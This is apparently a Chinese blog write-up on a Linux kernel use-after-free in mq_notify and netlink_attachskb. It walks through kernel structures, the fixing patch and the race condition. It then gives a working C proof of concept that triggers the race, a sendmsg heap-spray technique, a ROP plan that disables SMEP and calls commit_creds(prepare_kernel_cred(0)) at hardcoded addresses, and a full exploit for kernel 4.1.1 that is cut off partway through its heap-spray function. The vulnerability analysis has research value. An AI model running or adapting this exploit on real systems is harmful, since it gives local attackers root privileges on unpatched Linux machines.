这一部分参考博客,im0963表哥这一些列文章做了翻译,建议先了解一下这些结构,对后面的调试有帮助
struct task_struct {
volatile long state ; //进程状态(运行,停止,...)
void * stack ; //任务的堆栈指针
int prio ; //进程优先级
struct mm_struct * mm ; //内存地址空间
struct files_struct * file; //打开文件信息
const struct cred * cred ; //凭证,保存uid等权限信息
// ...
};
每个进程,线程都有自己的task_struct,可以通过current宏进行访问
fd:对于给定进程而言,是一个整数
file object(struct file):表示一个已经打开的文件
struct file {
loff_t f_pos ; //“cursor”,同时读取文件
atomic_long_t f_count ; //对象的引用计数器
const struct file_operations * f_op ; //虚函数表(VFT)指针
void * private_data ; //文件“specialization”使用
// ...
};
struct file *filp; / *文件指针 * /
fdt:将fd转换为对应的filp,这个映射不是一一映射,可能对各文件描述符指向同一个文件对象,这种情况下,文件对象的引用计数器加一。
struct fdtable {
unsigned int max_fds ;
struct file ** fd ; / *当前fd数组* /
// ...
};
file_struct :将fdt链接到进程内部,file_struct可以在多个线程之间共享
struct files_struct {
atomic_t count ; //引用计数器
结构 fdtable * fdt ; //指向文件描述符表的指针
// ...
};
创建socket时,比如调用了socket syscall,就会创建一个struct file类型的的socket文件对象,然后创建一个结构体socker_file_ops
,里面包含了对这个file的操作,并且将它的操作(file operation)嵌入其中
static const struct file_operations socket_file_ops = {
.read = sock_aio_read, // <---- calls sock->ops->recvmsg()
.write = sock_aio_write, // <---- calls sock->ops->sendmsg()
.llseek = no_llseek, // <---- returns an error
// ...
}
socket实际上实现了许多socket api,这些api都被嵌入到一个虚拟函数表(virtual function table)的结构体中,结构体被称为proto_ops
,每一种类型的socket都执行它们自己的proto_ops
struct proto_ops {
int (*bind) (struct socket *sock, struct sockaddr *myaddr, int sockaddr_len);
int (*connect) (struct socket *sock, struct sockaddr *vaddr, int sockaddr_len, int flags);
int (*accept) (struct socket *sock, struct socket *newsock, int flags);
// ...
}
当一个BSD-style syscall被调用的的时候,一般流程如下:
struct socket实际上在网络栈的最顶层,通常再进行一些sending/receiving data操作时需要控制底层,因此,socket对象里面有一个指针指向了sock对象(struct sock)
struct socket {
struct file *file;
struct sock *sk;
const struct proto_ops *ops;
// ...
};
当网卡收到一个来自外界的数据包时,网卡驱动会把这个packet(排队)放到receiving buf中,这个packet会一直在这个缓冲区内,直到应用程序决定接收(recvmsg())它。相反,当应用程序想要发送(sendmsg())一个数据包,这个packet会被放到sending buf内,一旦收到“通知”,网卡驱动就会将它发送出去。
这些packet也被称为struct sk_buff
或者skb
,sending/receiving buf基本上是一个skb的双向链表
struct sock {
int sk_rcvbuf; // theorical "max" size of the receive buffer
int sk_sndbuf; // theorical "max" size of the send buffer
atomic_t sk_rmem_alloc; // "current" size of the receive buffer
atomic_t sk_wmem_alloc; // "current" size of the send buffer
struct sk_buff_head sk_receive_queue; // head of doubly-linked list
struct sk_buff_head sk_write_queue; // head of doubly-linked list
struct socket *sk_socket;
// ...
}
从上面的结构体中的可以看出来,sock对象中也引用了socket对象(sk_socket),但是在网上看,socket对象中也引用了sock对象(sk),同理,struct socket中引用了file对象(file),struct file中引用了socket对象(private_data),这种双向机制使得数据可以贯通整个网络栈。
这是一种特殊的socket,它允许用户空间与kernel通信,它可以用来修改路由表,接受SElinux事件通知,甚至可以与其他用户空间进程进行通信。
因为struct sock与struct socket都属于支持各种类型socket的通用数据结构,
从socket对象的观点来看,proto_ops字段需要定义,对于netlink家族来说,BSD-style socket的操作都是netlink_ops
static const struct proto_ops netlink_ops = {
.bind = netlink_bind,
.accept = sock_no_accept, // <--- calling accept() on netlink sockets leads to EOPNOTSUPP error
.sendmsg = netlink_sendmsg,
.recvmsg = netlink_recvmsg,
// ...
}
从sock的角度来看,在netlink的例子中,又有了专门的实现
struct netlink_sock {
/* struct sock has to be the first member of netlink_sock */
struct sock sk; <<<<+++++++++++++++++++
u32 pid;
u32 dst_pid;
u32 dst_group;
// ...
};
netlink_sock 是由一个sock对象增加了许多附加属性.
这里有个问题没明白 free(&netlink_sock.sk) 等价于 free(&netlink_sock)
当一个对象被其它对象引用时,引用计数器+1,当删除引用后-1,当引用计数器为0时,就会释放该对象。
正常情况下,对象的引用与释放是平衡的,但是当失去平衡的时候就会出现 memory corruption(内存破坏),
如下面的例子:
通过path可以发现,漏洞产生的原因是因为没有把sock对象的指针置NULL
diff --git a/ipc/mqueue.c b/ipc/mqueue.c
index c9ff943..eb1391b 100644
--- a/ipc/mqueue.c
+++ b/ipc/mqueue.c
@@ -1270,8 +1270,10 @@ retry:
timeo = MAX_SCHEDULE_TIMEOUT;
ret = netlink_attachskb(sock, nc, &timeo, NULL);
- if (ret == 1)
+ if (ret == 1) {
+ sock = NULL;
goto retry;
+ }
if (ret) {
sock = NULL;
nc = NULL;
这段代码出现在mq_notify函数中,return to the code->
SYSCALL_DEFINE2(mq_notify, mqd_t, mqdes,
const struct sigevent __user *, u_notification)
{
int ret;
struct fd f;
struct sock *sock;
struct inode *inode;
struct sigevent notification;
struct mqueue_inode_info *info;
struct sk_buff *nc; / *网络数据包* /
/ *判断u_notification是否为空,不为空,则拷贝到内核空间* /
if (u_notification) {
if (copy_from_user(¬ification, u_notification,
sizeof(struct sigevent)))
return -EFAULT;
}
/ *记录系统调用* /
audit_mq_notify(mqdes, u_notification ? ¬ification : NULL);
/ *初始化nc,sock */
nc = NULL;
sock = NULL;
if (u_notification != NULL) {
/ *判断是哪一种通知方法* /
if (unlikely(notification.sigev_notify != SIGEV_NONE &&
notification.sigev_notify != SIGEV_SIGNAL &&
notification.sigev_notify != SIGEV_THREAD))
return -EINVAL;
/*通过发送指定的信号进行通知,并判断信号编号是否有效* /
if (notification.sigev_notify == SIGEV_SIGNAL &&
!valid_signal(notification.sigev_signo)) {
return -EINVAL;
}
/*通过创建线程进行通知*/
if (notification.sigev_notify == SIGEV_THREAD) {
long timeo;
/* create the notify skb */
/* 申请内存,存放网络数据包(用于通知)* /
nc = alloc_skb(NOTIFY_COOKIE_LEN, GFP_KERNEL);
if (!nc) {
ret = -ENOMEM;
goto out;
}
if (copy_from_user(nc->data,
notification.sigev_value.sival_ptr,
NOTIFY_COOKIE_LEN)) {
ret = -EFAULT;
goto out;
}
/* TODO: add a header? */
/* skb_put()功能并不是将引用计数器减1,而是“push data info sk buffer”.
skb_put(nc, NOTIFY_COOKIE_LEN);
/* and attach it to the socket */
retry:
/*根据fd获取对应的file对象*/
f = fdget(notification.sigev_signo);
if (!f.file) {
ret = -EBADF;
goto out;
}
/*在file object中获取对应的sock对象指针*/
sock = netlink_getsockbyfilp(f.file);/*调用sock_hold(),sock对象的引用计数器+1*/
fdput(f);/*file 的引用计数器-1*/
if (IS_ERR(sock)) {
ret = PTR_ERR(sock);
sock = NULL;
goto out;
}
timeo = MAX_SCHEDULE_TIMEOUT;
/*出现分支,1,0,other 三条路径*/
/*正常功能就是将skb加入到sk receiving buf中*/
ret = netlink_attachskb(sock, nc, &timeo, NULL);
if (ret == 1)
goto retry; /*进入retry 逻辑*/
if (ret) {
sock = NULL;
nc = NULL;
goto out;
}
}
}
/ *省略不必要的部分* /
out:
if (sock)
netlink_detachskb(sock, nc);
else if (nc)
dev_kfree_skb(nc);
return ret;
}
-------------------------------------------CUT LINE---------------------------------------------------
int netlink_attachskb(struct sock *sk, struct sk_buff *skb,
long *timeo, struct sock *ssk)
{
struct netlink_sock *nlk;
nlk = nlk_sk(sk);
/*判断sk的实际大小与理论大小 or netlink_sock是否处于拥堵状态*/
if ((atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf ||
test_bit(NETLINK_CONGESTED, &nlk->state)) &&
!netlink_skb_is_mmaped(skb)) {
/*声明一个等待队列*/
DECLARE_WAITQUEUE(wait, current);
if (!*timeo) {
if (!ssk || netlink_is_kernel(ssk))
netlink_overrun(sk);
sock_put(sk);
kfree_skb(skb);
return -EAGAIN;
}
/*设置当前task状态为TASK_INTERRUPTIBLE*/
__set_current_state(TASK_INTERRUPTIBLE);
/*添加到wait 队列*/
add_wait_queue(&nlk->wait, &wait);
if ((atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf ||
test_bit(NETLINK_CONGESTED, &nlk->state)) &&
!sock_flag(sk, SOCK_DEAD))
*timeo = schedule_timeout(*timeo);
/*设置当前task状态为TASK_RUNNING*/
__set_current_state(TASK_RUNNING);
/*移除等待队列*/
remove_wait_queue(&nlk->wait, &wait);
sock_put(sk);/*sock对象的引用计数器-1,此时加减平衡*/
if (signal_pending(current)) {
kfree_skb(skb);
return sock_intr_errno(*timeo);
}
return 1;
}
netlink_skb_set_owner_r(skb, sk);
return 0;
}
---------------------------------CUT LINE--------------------------------------------------------------
static void netlink_skb_set_owner_r(struct sk_buff *skb, struct sock *sk)
{
WARN_ON(skb->sk != NULL);
skb->sk = sk;
skb->destructor = netlink_skb_destructor;
atomic_add(skb->truesize, &sk->sk_rmem_alloc);
sk_mem_charge(sk, skb->truesize);
}
详细的代码分析以注释在上面。
关于mq_notify():
notification:(1)not null:表示消息到达,且先前队列为空(2)null:表示撤销已注册的通知
通知方式:
通过分析上面的代码可知,mq_notify()有如下几条路径:
根据patch可知,ret==1 时触发漏洞,ret是netlink_attachskb的返回值。
分析一下mq_notify系统调用执行到netlink_attachskb的条件:
这样就到达了 netlink_attachskb函数
再来详细分析一下这个函数(已经在上面代码中给出),看一下漏洞触发的路径,以及经历了哪些判断:
1, 根据代码可知,下面这个条件必须为真,首先对sk->sk_rmem_alloc跟sk->sk_rcvbuf进行了判断,如果判断不通过,则直接执行netlink_set_owner_r函数
if ((atomic_read(&sk->sk_rmem_alloc) > sk->sk_rcvbuf ||
test_bit(NETLINK_CONGESTED, &nlk->state)) &&
!netlink_skb_is_mmaped(skb))
sk_rmem_alloc可以视为sk缓冲区的当前大小,sk_rcvbuf是sk的理论大小,因为sk_rmem_alloc有等于0的情况,因此sk_rcvbuf可能需要<0才可以,在sock_setsockopt函数中可以设置sk_rcvbuf的值,但是,它的值始终会是一个>0的值,因此通过更改sk_rcvbuf不是最好的解决方案,因此看一下sk_rmem_alloc.
val = min_t(u32, val, sysctl_rmem_max);
set_rcvbuf:
sk->sk_userlocks |= SOCK_RCVBUF_LOCK;
sk->sk_rcvbuf = max_t(u32, val * 2, SOCK_MIN_RCVBUF);
分析前面代码可以注意到,通过skb_set_owner_r可以更改sk_rmem_alloc的值,调用链如下:
netlink_sendmsg->netlink_unicast->netlink_attachskb->netlink_skb_owner_r
netlink_sendmsg可以在用户空间通过调用sendmsg实现调用
因此首先分析netlink_sendmsg函数:
static int netlink_sendmsg(struct socket *sock, struct msghdr *msg, size_t len)
{
struct sock *sk = sock->sk;
struct netlink_sock *nlk = nlk_sk(sk);
DECLARE_SOCKADDR(struct sockaddr_nl *, addr, msg->msg_name);
u32 dst_portid;
u32 dst_group;
struct sk_buff *skb;
int err;
struct scm_cookie scm;
u32 netlink_skb_flags = 0;
if (msg->msg_flags&MSG_OOB)
return -EOPNOTSUPP;
err = scm_send(sock, msg, &scm, true);
if (err < 0)
return err;
if (msg->msg_namelen) {
err = -EINVAL;
if (addr->nl_family != AF_NETLINK)
goto out;
dst_portid = addr->nl_pid;
dst_group = ffs(addr->nl_groups);
err = -EPERM;
if ((dst_group || dst_portid) &&
!netlink_allowed(sock, NL_CFG_F_NONROOT_SEND))
goto out;
netlink_skb_flags |= NETLINK_SKB_DST;
} else {
dst_portid = nlk->dst_portid;
dst_group = nlk->dst_group;
}
if (!nlk->portid) {
err = netlink_autobind(sock);
if (err)
goto out;
}
/* It's a really convoluted way for userland to ask for mmaped
* sendmsg(), but that's what we've got...
*/
if (netlink_tx_is_mmaped(sk) &&
msg->msg_iter.type == ITER_IOVEC &&
msg->msg_iter.nr_segs == 1 &&
msg->msg_iter.iov->iov_base == NULL) {
err = netlink_mmap_sendmsg(sk, msg, dst_portid, dst_group,
&scm);
goto out;
}
err = -EMSGSIZE;
if (len > sk->sk_sndbuf - 32)
goto out;
err = -ENOBUFS;
skb = netlink_alloc_large_skb(len, dst_group);
if (skb == NULL)
goto out;
NETLINK_CB(skb).portid = nlk->portid;
NETLINK_CB(skb).dst_group = dst_group;
NETLINK_CB(skb).creds = scm.creds;
NETLINK_CB(skb).flags = netlink_skb_flags;
err = -EFAULT;
if (memcpy_from_msg(skb_put(skb, len), msg, len)) {
kfree_skb(skb);
goto out;
}
err = security_netlink_send(sk, skb);
if (err) {
kfree_skb(skb);
goto out;
}
if (dst_group) {
atomic_inc(&skb->users);
netlink_broadcast(sk, skb, dst_portid, dst_group, GFP_KERNEL);
}
err = netlink_unicast(sk, skb, dst_portid, msg->msg_flags&MSG_DONTWAIT);
out:
scm_destroy(&scm);
return err;
}
如果想要执行netlink_unicast函数,则需要满足以下条件:
这样就可以执行netlink_unicast(),这里面基本没有我们的可控参数,可以直接执行netlink_attachskb(),结合上面的代码可知,当sk_rmem_alloc < skrcvbuf 时,便会执行netlink_skb_set_owner_r函数,因此只要 sk_rmem_alloc < sk_rcvbuf,就会增加sk_rmem_alloc的大小
static void netlink_skb_set_owner_r(struct sk_buff *skb, struct sock *sk)
{
WARN_ON(skb->sk != NULL);
skb->sk = sk;
skb->destructor = netlink_skb_destructor;
atomic_add(skb->truesize, &sk->sk_rmem_alloc);
sk_mem_charge(sk, skb->truesize);
}
这样每次都可以增加sk_rmem_alloc的值。
进入这个判断以后,当前的线程被加入wait队列中,timeo肯定不为 NULL,所以当前线程状态被设置为task_interruptible,然后cpu调度进入block状态,等待被唤醒然后顺序执行,signal_pending 检查是否有序号需要被处理,返回值=0,表示没有信号。然后返回1,
前面已经知道了如何让 ret = 1,这里会继续执行retry,通过fd获取filp......,但是如果filp = NULL,就会进入out label
out:
if (sock)
netlink_detachskb(sock, nc);
else if (nc)
dev_kfree_skb(nc);
此时的sock不为空,但是netlink_detachskb对其减1,如果等于0,则free。
再次回到mq_notify主逻辑,看一下函数对sock的操作:
正常逻辑下:根据fd获取到sock结构,此时sock的引用加1,然后进入attachskb函数,判断此时的sk是不是“满了”,如果“满了”,则sock的引用减1,然后继续尝试获取sock,当sock还有剩余空间的时候,把skb跟sock绑定。这样一来,sock的引用,一加一减,保持平衡。但是如果有两个线程,thread1在还没进入retry的时候,thread2把file关闭了,也就是说此时filp为NULL,thread1将进入out label,但是sock不为NULL,因此,sock的refcnt将会减1,但是在退出程序时,内核会将分配的对象释放掉,最终会调用sock->ops->release()
,但是sock已经在前面被我们释放掉了,如果这块内存又被我们申请回来,并写入其他数据控制程序流,导致uaf,就可以执行任意代码。
#define _GNU_SOURCE
#include <asm/types.h>
#include <mqueue.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <pthread.h>
#include <errno.h>
#include <stdbool.h>
#define MAX_MSGSIZE 1024
#define SOL_NETLINK (270)
#define _mq_notify(mqdes, sevp) syscall(__NR_mq_notify, mqdes, sevp)
struct state
{
int ok;
int fd;
int close_fd;
}state;
int add_rmem_alloc(void){
int fd1 = -1;
int fd2 = -1;
fd1 = socket(AF_NETLINK,SOCK_RAW,2);
fd2 = socket(AF_NETLINK,SOCK_DGRAM,2);
struct sockaddr_nl nladdr;
nladdr.nl_family = AF_NETLINK;
nladdr.nl_groups = 0;
nladdr.nl_pad = 0;
nladdr.nl_pid = 10;
bind(fd1,(struct sockaddr*)&nladdr,sizeof(struct sockaddr_nl));
struct msghdr msg;
struct sockaddr_nl r_nladdr;
r_nladdr.nl_pad = 0;
r_nladdr.nl_pid = 10;
r_nladdr.nl_family = AF_NETLINK;
r_nladdr.nl_groups = 0;
memset(&msg,0,sizeof(msg));
msg.msg_name = &r_nladdr; /*address of receiver*/
msg.msg_namelen = sizeof(nladdr);
/* message head */
char buffer[] = "An example message";
struct nlmsghdr *nlhdr;
nlhdr = (struct nlmsghdr*)malloc(NLMSG_SPACE(MAX_MSGSIZE));
strcpy(NLMSG_DATA(nlhdr),buffer);
nlhdr->nlmsg_len = NLMSG_LENGTH(strlen(buffer));/*nlmsghdr len + data len*/
nlhdr->nlmsg_pid = getpid(); /* self pid */
nlhdr->nlmsg_flags = 0;
struct iovec iov;
iov.iov_base = nlhdr;
iov.iov_len = nlhdr->nlmsg_len;
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
while (sendmsg(fd2, &msg, MSG_DONTWAIT)>0) ;
if (errno != EAGAIN)
{
perror("sendmsg");
exit(-5);
}
printf("[*] sk_rmem_alloc > sk_rcvbuf ==> ok\n");
return fd1;
return 0;
}
static void *thread2(struct state *s){
int fd = s->fd;
s->ok = 1;
sleep(3);
close(s->close_fd);
int optval = 1;
if(setsockopt(fd,SOL_NETLINK,NETLINK_NO_ENOBUFS,&optval,4)){
perror("setsockopt ");
}
else{
puts("[*] wake up thread 1");
}
}
void tiger(int fd){
pthread_t pid;
struct state s;
s.ok = 0;
s.fd = fd;
s.close_fd = dup(fd);
if(errno = pthread_create(&pid,NULL,thread2,&s)){
perror("pthread_create ");
exit(-1);
}
while(!(s.ok));
puts("[*] mq_notify start");
struct sigevent sigv;
sigv.sigev_signo = s.close_fd;
sigv.sigev_notify = SIGEV_THREAD;
sigv.sigev_value.sival_ptr = "test";
_mq_notify((mqd_t)0x666,&sigv);
puts("ok");
}
int main(){
int fd = -1;
fd = add_rmem_alloc();
tiger(fd);
puts("ok");
return 0;
}
根据前面分析的流程,可以得到这个poc:
这是函数在崩溃的时候的调用栈
调用链如下:do_exit -> ___fput -> __fput -> sock_close -> sock_release -> netlink_release
netlink_release:
static int netlink_release(struct socket *sock)
{
struct sock *sk = sock->sk;
struct netlink_sock *nlk;
if (!sk)
return 0;
netlink_remove(sk);
sock_orphan(sk);
nlk = nlk_sk(sk);
................. 省略 .............................
}
可以看到,已经被释放的sock又被重新使用了。
通过前面分析可以知道,释放掉sock对象以后,sock对象指针成为野指针,如果我们再次分配kmalloc-1024就有可能分配到该内存,控制sock对象内的关键指针,就会更改程序流,再次分配kmalloc-1024的方式为堆喷,这里采用sendmsg,执行sendmsg系统调用时,调用路径如下,如箭头所示
最终会调用sendmsg,这里将会回调sock->proto_ops->sendmsg,当family是AF_UNIX时,将会调用unix_dgram_sendmsg
整个调用路径如下如上图所示,从sysc_sendmsg->syssendmsg->sys_sendmsg 基本不需要任何条件,因此直接分析___sys_sendmsg函数,代码太长不在这贴了。
ctl[36]
的数组,大小为36,然后把该数组地址给一个指针ctl_buf
当前控制信息地址 + cmsg_len
确定的,通过判断当前控制信息地址 + cmsg_len > msg_controllen
可以确定是否还有控制消息
struct cmsghdr {
__kernel_size_t cmsg_len; /* data byte count, including hdr */
int cmsg_level; /* originating protocol */
int cmsg_type; /* protocol-specific type */
};
了解 ___sys_sendmsg 以后,考虑如何利用他堆喷,在执行完这个函数以后,会释放前面申请的size为1024的对象,这样无论我们怎么喷射,都只会申请同一个对象。前面分是的时候,可以知道,在某些条件下可以让这个函数阻塞,通过不断调用sendmsg,通过增大sk_wmem_alloc 使其阻塞。
struct msghdr msg;
memset(&msg,0,sizeof(msg));
struct iovec iov;
char iovbuf[10];
iov.iov_base = iovbuf;
iov.iov_len = 10;
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
struct timeval tv;
memset(&tv,0,sizeof(tv));
tv.tv_sec = 0;
tv.tv_usec = 0;
if(setsockopt(rfd,SOL_SOCKET,SO_SNDTIMEO,&tv,sizeof(tv))){
perror("heap spary setsockopt");
exit(-1);
}
while(sendmsg(sfd,&msg,MSG_DONTWAIT)>0);
这样再通过sendmsg,给定control信息就可以堆喷占位了,不过这里因为sendmsg被阻塞了,所以通过循环去执行sendmsg是不行的,还是需要依赖于多线程。
(其实kmalloc-1024在内核中需求量不大,而且在qemu中,只需要通过一次sendmsg,就可以申请到这个对象)
for(i=0;i<10;i++){
if(errno = pthread_create(&pid,NULL,thread3,&t3)){
perror("pthread_create ");
exit(-1);
}
}
接下来就该考虑利用了,肯定是去覆盖netlink_sock对象里面的关键指针,且触发路径比较少的。
一开始考虑通过close(fd),回调sk->sk_destruct,调用链如下:
netlink_release->call_rcu->deferred_put_nlk_sk -> sock_put -> sk_free -> __sk_free -> sk_destruct -> __sk_destruct -> netlink_sock_destruct
,但是,在执行到netlink_release的时候,会调用netlink_remove->rhashtable_remove_fast,在这里会发生崩溃,想要到达call_rcu,路径太复杂。
结合adlab给出的文章,可以利用netlink_sock的(struct wait_queue_head_t) wait 结构体,这个结构体直接嵌入到netlink_sock结构体中。
因此可以在用户空间伪造wait_queue_t,让netlink_sock->wait.task_list.next指向它,因为环境关闭了smap,因此可以不用考虑这个问题
这样我们就可以控制rip
为了执行用户空间指令,我们首先需要构造ropchain关掉smep。
通用方法就是通过mov cr4, rdi ; pop rbp ; ret
诸如此类的gadgets
但是直接控制rip为这条gadgets地址肯定达不到目的,因为内核栈内容不受控,因此首先需要栈迁移,例如xchg esp,eax ; ret
,这里使用eax是非常合适的,看下图
可以看出来,eax必定是一个有效的用户空间地址
构造执行rop的时候遇到一个问题,如图
在执行push rbp
的时候crash了,没找到原因,就不写函数了,直接用rop执行commit_creds(prepare_kernelk_cred(0))
通常用如下gadgets (stack 状态)
addr->pop rdi ; ret
0
addr->prepare_kernel_cred
addr->mov rdi, rax ; ret
addr->commit_creds
或者利用上面的变形
但是在我执行的时候又遇到一个问题,因为rax不为空
Dump of assembler code for function prepare_kernel_cred:
(省略)
0xffffffff810a1a80 <+32>: test rax,rax
=> 0xffffffff810a1a83 <+35>: je 0xffffffff810a1b78 <prepare_kernel_cred+280>
0xffffffff810a1a89 <+41>: test r12,r12
0xffffffff810a1a8c <+44>: mov rbx,rax
0xffffffff810a1a8f <+47>: je 0xffffffff810a1b40 <prepare_kernel_cred+224>
0xffffffff810a1a95 <+53>: mov rdi,r12
0xffffffff810a1a98 <+56>: call 0xffffffff810a1a00 <get_task_cred>
0xffffffff810a1a9d <+61>: mov r12,rax
0xffffffff810a1aa0 <+64>: mov rdi,rbx
0xffffffff810a1aa3 <+67>: mov rsi,r12
0xffffffff810a1aa6 <+70>: mov ecx,0x14
0xffffffff810a1aab <+75>: rep movs QWORD PTR es:[rdi],QWORD PTR ds:[rsi]
0xffffffff810a1aae <+78>: mov DWORD PTR [rbx],0x1
0xffffffff810a1ab4 <+84>: mov rax,QWORD PTR [rbx+0x78]
0xffffffff810a1ab8 <+88>: inc DWORD PTR ds:[rax]
0xffffffff810a1abb <+91>: mov rax,QWORD PTR [rbx+0x80]
0xffffffff810a1ac2 <+98>: test rax,rax
0xffffffff810a1ac5 <+101>: je 0xffffffff810a1ace <prepare_kernel_cred+110>
0xffffffff810a1ac7 <+103>: inc DWORD PTR ds:[rax+0xc0]
0xffffffff810a1ace <+110>: mov rax,QWORD PTR [rbx+0x88]
0xffffffff810a1ad5 <+117>: inc DWORD PTR ds:[rax]
0xffffffff810a1ad8 <+120>: mov edx,0xd0
0xffffffff810a1add <+125>: mov QWORD PTR [rbx+0x50],0x0
0xffffffff810a1ae5 <+133>: mov QWORD PTR [rbx+0x58],0x0
0xffffffff810a1aed <+141>: mov QWORD PTR [rbx+0x60],0x0
0xffffffff810a1af5 <+149>: mov QWORD PTR [rbx+0x68],0x0
0xffffffff810a1afd <+157>: mov rsi,r12
0xffffffff810a1b00 <+160>: mov BYTE PTR [rbx+0x48],0x1
0xffffffff810a1b04 <+164>: mov QWORD PTR [rbx+0x70],0x0
0xffffffff810a1b0c <+172>: mov rdi,rbx
0xffffffff810a1b0f <+175>: call 0xffffffff813478d0 <security_prepare_creds>
0xffffffff810a1b14 <+180>: test eax,eax
0xffffffff810a1b16 <+182>: js 0xffffffff810a1b58 <prepare_kernel_cred+248>
0xffffffff810a1b18 <+184>: dec DWORD PTR ds:[r12]
0xffffffff810a1b1d <+189>: je 0xffffffff810a1b30 <prepare_kernel_cred+208>
0xffffffff810a1b1f <+191>: mov rax,rbx
0xffffffff810a1b22 <+194>: pop rbx
0xffffffff810a1b23 <+195>: pop r12
0xffffffff810a1b25 <+197>: pop rbp
0xffffffff810a1b26 <+198>: ret
0xffffffff810a1b27 <+199>: nop WORD PTR [rax+rax*1+0x0]
0xffffffff810a1b30 <+208>: mov rdi,r12
0xffffffff810a1b33 <+211>: call 0xffffffff810a1540 <__put_cred>
0xffffffff810a1b38 <+216>: mov rax,rbx
0xffffffff810a1b3b <+219>: pop rbx
0xffffffff810a1b3c <+220>: pop r12
0xffffffff810a1b3e <+222>: pop rbp
0xffffffff810a1b3f <+223>: ret
(省略)
0xffffffff810a1b78 <+280>: xor eax,eax
0xffffffff810a1b7a <+282>: jmp 0xffffffff810a1b3b <prepare_kernel_cred+219>
(省略)
End of assembler dump.
因为rax的原因,没有正确执行prepare_kernel_creds,因此还需要加一条gadgets
开始找的iret gadget并不能运行成功,不知道为啥,在im0963老哥的提示下,换了一条gadgets解决了
exploit:这份exploit在linux kernel 4.1.1上面测试成功了,内核不同,可能需要改一些偏移
#gcc exploit.c -lpthread -static -o exploit
#define _GNU_SOURCE
#include <asm/types.h>
#include <mqueue.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <pthread.h>
#include <errno.h>
#include <stdbool.h>
#include <sys/un.h>
#include <sys/mman.h>
#define MAX_MSGSIZE 1024
#define SOL_NETLINK (270)
#define _mq_notify(mqdes, sevp) syscall(__NR_mq_notify, mqdes, sevp)
struct state
{
int ok;
int fd;
int close_fd;
}state;
struct u_wait_queue{
unsigned int flag;
long* pri;
long* func;
long* next;
long* prev;
};
#define KERNCALL __attribute__((regparm(3)))
void ( * commit_creds )(void *) KERNCALL ;
size_t* (* prepare_kernel_cred)(void *) KERNCALL ;
void getroot(){
commit_creds = 0xffffffff810a1720 ;
prepare_kernel_cred = 0xffffffff810a1a60;
size_t cred = prepare_kernel_cred(0);
commit_creds(cred);
}
void getshell(){
system("/bin/sh");
}
unsigned long user_cs, user_ss, user_eflags,user_sp ;
void save_stats() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %3\n"
"pushfq\n"
"popq %2\n"
:"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp)
:
: "memory"
);
}
int add_rmem_alloc(void){
int fd1 = -1;
int fd2 = -1;
fd1 = socket(AF_NETLINK,SOCK_RAW,2);
fd2 = socket(AF_NETLINK,SOCK_DGRAM,2);
struct sockaddr_nl nladdr;
nladdr.nl_family = AF_NETLINK;
nladdr.nl_groups = 0;
nladdr.nl_pad = 0;
nladdr.nl_pid = 10;
bind(fd1,(struct sockaddr*)&nladdr,sizeof(struct sockaddr_nl));
struct msghdr msg;
struct sockaddr_nl r_nladdr;
r_nladdr.nl_pad = 0;
r_nladdr.nl_pid = 10;
r_nladdr.nl_family = AF_NETLINK;
r_nladdr.nl_groups = 0;
memset(&msg,0,sizeof(msg));
msg.msg_name = &r_nladdr; /*address of receiver*/
msg.msg_namelen = sizeof(nladdr);
/* message head */
char buffer[] = "An example message";
struct nlmsghdr *nlhdr;
nlhdr = (struct nlmsghdr*)malloc(NLMSG_SPACE(MAX_MSGSIZE));
strcpy(NLMSG_DATA(nlhdr),buffer);
nlhdr->nlmsg_len = NLMSG_LENGTH(strlen(buffer));/*nlmsghdr len + data len*/
nlhdr->nlmsg_pid = getpid(); /* self pid */
nlhdr->nlmsg_flags = 0;
struct iovec iov;
iov.iov_base = nlhdr;
iov.iov_len = nlhdr->nlmsg_len;
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
while (sendmsg(fd2, &msg, MSG_DONTWAIT)>0) ;
if (errno != EAGAIN)
{
perror("sendmsg");
exit(-5);
}
printf("[*] sk_rmem_alloc > sk_rcvbuf ==> ok\n");
return fd1;
return 0;
}
static void *thread2(struct state *s){
int fd = s->fd;
s->ok = 1;
sleep(3);
close(s->close_fd);
int optval = 1;
if(setsockopt(fd,SOL_NETLINK,NETLINK_NO_ENOBUFS,&optval,4)){
perror("setsockopt ");
}
else{
puts("[*] wake up thread 1");
}
}
void tiger(int fd){
pthread_t pid;
struct state s;
s.ok = 0;
s.fd = fd;
s.close_fd = dup(fd);
if(errno = pthread_create(&pid,NULL,thread2,&s)){
perror("pthread_create ");
exit(-1);
}
while(!(s.ok));
puts("[*] mq_notify start");
struct sigevent sigv;
sigv.sigev_signo = s.close_fd;
sigv.sigev_notify = SIGEV_THREAD;
sigv.sigev_value.sival_ptr = "test";
_mq_notify((mqd_t)0x666,&sigv);
puts("ok");
}
struct thread3_arg
{
int send ;
int fd;
struct msghdr *msg;
int flag;
};
static void *thread3(struct thread3_arg *arg){
sendmsg(arg->fd,arg->msg,0);
}
void heap_spray(int nlk_fd){
int sfd = -1;
int rfd = -1;
sfd = socket(AF_UNIX,SOCK_DGRAM,0);
rfd = socket(AF_UNIX,SOCK_DGRAM,0);
if (rfd<0||sfd<0){
perror("heap spray socket");
exit(-1);
}
printf("send fd : %d\nrecv fd : %d\n",sfd,rfd);
char *saddr = "@test";
struct sockaddr_un serv;
serv.sun_family = AF_UNIX;
strcpy(serv.sun_path,saddr);
serv.sun_path[0] = 0;
if(bind(rfd,(struct sockaddr*)&serv,sizeof(serv))){
perror("heap spray bind");
exit(-1);
}
if(connect(sfd,(struct sockaddr*)&serv,sizeof(serv))){
perror("heap spray bind");
exit(-1);
}
struct msghdr msg;
memset(&msg,0,sizeof(msg));
struct iovec iov;
char iovbuf[10];
iov.iov_base = iovbuf;
iov.iov_len = 10;
char buf[1024];
memset(buf,0x41,1024);
struct cmsghdr *pbuf;
pbuf = (struct cmsghdr*)buf;
pbuf->cmsg_len = 1024;
pbuf->cmsg_level = 0;
